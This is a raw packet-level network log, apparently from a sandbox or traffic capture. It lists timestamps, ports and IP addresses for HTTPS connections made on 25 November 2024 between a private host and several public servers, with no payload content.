Nov 25, 2024 16:22:03.465713024 CET	49927	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:03.465722084 CET	443	49927	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:03.465758085 CET	443	49927	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:03.465783119 CET	49927	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:03.466072083 CET	49927	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:03.466084003 CET	443	49927	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:03.466134071 CET	49927	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:03.466217041 CET	443	49927	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:03.466248989 CET	443	49927	20.190.147.1	192.168.2.5
Nov 25, 2024 16:22:03.466298103 CET	49927	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:22:03.616542101 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.616601944 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.616705894 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.616733074 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.618613958 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.618685961 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.618721008 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.618721008 CET	49929	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.618741989 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.618753910 CET	443	49929	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.621319056 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.621428013 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:03.621602058 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.621740103 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:03.621769905 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.510865927 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.511440992 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.511461020 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.512290001 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.512295961 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.531116962 CET	443	49862	23.44.203.71	192.168.2.5
Nov 25, 2024 16:22:04.531193018 CET	443	49862	23.44.203.71	192.168.2.5
Nov 25, 2024 16:22:04.531239986 CET	49862	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:22:04.533201933 CET	443	49863	23.44.203.71	192.168.2.5
Nov 25, 2024 16:22:04.533262968 CET	443	49863	23.44.203.71	192.168.2.5
Nov 25, 2024 16:22:04.533307076 CET	49863	443	192.168.2.5	23.44.203.71
Nov 25, 2024 16:22:04.558403969 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.558943987 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.558969975 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.559537888 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.559542894 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.683641911 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.684088945 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.684128046 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.684691906 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.684711933 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.741446972 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.741827011 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.741843939 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.742305040 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.742309093 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.958513975 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.958535910 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.958590984 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.958609104 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.958652973 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.958978891 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.958978891 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.958986998 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.959132910 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.959156990 CET	443	49930	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.959197044 CET	49930	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.963987112 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.964039087 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.964095116 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.964366913 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.964386940 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.997544050 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.997601986 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.997761011 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.997776985 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.998091936 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.998106003 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.998112917 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:04.998507023 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.998589993 CET	443	49931	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:04.998636007 CET	49931	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.001446009 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.001471996 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.001534939 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.001668930 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.001681089 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.139125109 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.139245987 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.139305115 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.139499903 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.139528036 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.139552116 CET	49932	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.139559984 CET	443	49932	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.142309904 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.142345905 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.142421961 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.142606974 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.142620087 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.176177025 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.179677010 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.179732084 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.179815054 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.179815054 CET	49933	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.179832935 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.179843903 CET	443	49933	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.182605982 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.182642937 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.182702065 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.182869911 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.182883024 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.407413006 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.408026934 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.408092022 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.408463955 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.408493042 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.854075909 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.857248068 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.857386112 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.857386112 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.857603073 CET	49934	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.857625961 CET	443	49934	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.859952927 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.860017061 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:05.860146046 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.860239983 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:05.860261917 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:06.731268883 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:06.731712103 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:06.731740952 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:06.732167959 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:06.732172012 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:06.748505116 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:06.748553038 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:06.748636007 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:06.749039888 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:06.749056101 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:06.760143995 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:06.760476112 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:06.760495901 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:06.760896921 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:06.760902882 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:06.885109901 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:06.885946035 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:06.885966063 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:06.886528969 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:06.886549950 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:06.990814924 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:06.991291046 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:06.991322994 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:06.991744995 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:06.991750956 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.166701078 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.169876099 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.171776056 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.195537090 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.195564032 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.195601940 CET	49936	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.195611000 CET	443	49936	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.206226110 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.206274033 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.206371069 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.206491947 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.206505060 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.219480038 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.222915888 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.224049091 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.224107027 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.224107027 CET	49935	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.224126101 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.224136114 CET	443	49935	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.226423979 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.226447105 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.226531982 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.226659060 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.226674080 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.333272934 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.336561918 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.336641073 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.340250969 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.340250969 CET	49937	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.340276957 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.340286970 CET	443	49937	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.345551014 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.345592022 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.345665932 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.345812082 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.345827103 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.436259031 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.439291954 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.439383984 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.439421892 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.439440012 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.439450979 CET	49938	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.439456940 CET	443	49938	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.441890955 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.441978931 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.442094088 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.442214012 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.442226887 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.655014038 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.655528069 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.655545950 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:07.656033993 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:07.656039953 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:08.100523949 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:08.103801012 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:08.103938103 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:08.103938103 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:08.103985071 CET	49939	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:08.104007006 CET	443	49939	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:08.106920958 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:08.106960058 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:08.107053995 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:08.107172012 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:08.107183933 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:08.492218971 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:08.492285967 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:08.493942022 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:08.493952990 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:08.494201899 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:08.500085115 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:08.547321081 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:09.021218061 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.021853924 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.021902084 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.022310972 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.022327900 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.046114922 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.046710014 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.046737909 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.047142029 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.047153950 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.082818985 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:09.082847118 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:09.082873106 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:09.082902908 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:09.082918882 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:09.082932949 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:09.082954884 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:09.105350018 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.105832100 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.105891943 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.106264114 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.106278896 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.237065077 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.240245104 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.240278959 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.240680933 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.240689039 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.242043018 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:09.242088079 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:09.242109060 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:09.242120028 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:09.242137909 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:09.242151022 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:09.242285013 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:09.242311954 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:09.242326975 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:09.242326975 CET	49940	443	192.168.2.5	4.245.163.56
Nov 25, 2024 16:22:09.242335081 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:09.242341995 CET	443	49940	4.245.163.56	192.168.2.5
Nov 25, 2024 16:22:09.465059042 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.468559027 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.468632936 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.468722105 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.468722105 CET	49941	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.468761921 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.468794107 CET	443	49941	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.471050978 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.471106052 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.472764015 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.473012924 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.473042011 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.492690086 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.497278929 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.499006987 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.499033928 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.499047995 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.499058962 CET	49942	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.499063969 CET	443	49942	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.501111984 CET	49947	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.501153946 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.501347065 CET	49947	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.501488924 CET	49947	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.501502991 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.543106079 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.546689987 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.546802998 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.546947002 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.546972990 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.546998024 CET	49943	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.547013044 CET	443	49943	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.548995018 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.549030066 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.549258947 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.549381971 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.549393892 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.687948942 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.691009045 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.691060066 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.691080093 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.691114902 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.691160917 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.691183090 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.691195965 CET	49944	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.691204071 CET	443	49944	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.693492889 CET	49949	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.693541050 CET	443	49949	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.694768906 CET	49949	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.694885969 CET	49949	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.694906950 CET	443	49949	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.959431887 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.960087061 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.960107088 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:09.960561037 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:09.960566998 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:10.413984060 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:10.417659998 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:10.417748928 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:10.417907000 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:10.417928934 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:10.417941093 CET	49945	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:10.417948008 CET	443	49945	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:10.420644999 CET	49950	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:10.420689106 CET	443	49950	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:10.420768023 CET	49950	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:10.420917988 CET	49950	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:10.420928001 CET	443	49950	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:11.270215034 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:11.270632029 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:11.270658016 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:11.271095037 CET	49946	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:11.271100998 CET	443	49946	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:11.304230928 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:11.304708004 CET	49947	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:11.304738998 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:11.305254936 CET	49947	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:11.305267096 CET	443	49947	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:11.332144022 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:11.332595110 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:11.332618952 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:11.333038092 CET	49948	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:22:11.333044052 CET	443	49948	13.107.246.63	192.168.2.5
Nov 25, 2024 16:22:11.545113087 CET	443	49949	13.107.246.63	192.168.2.5
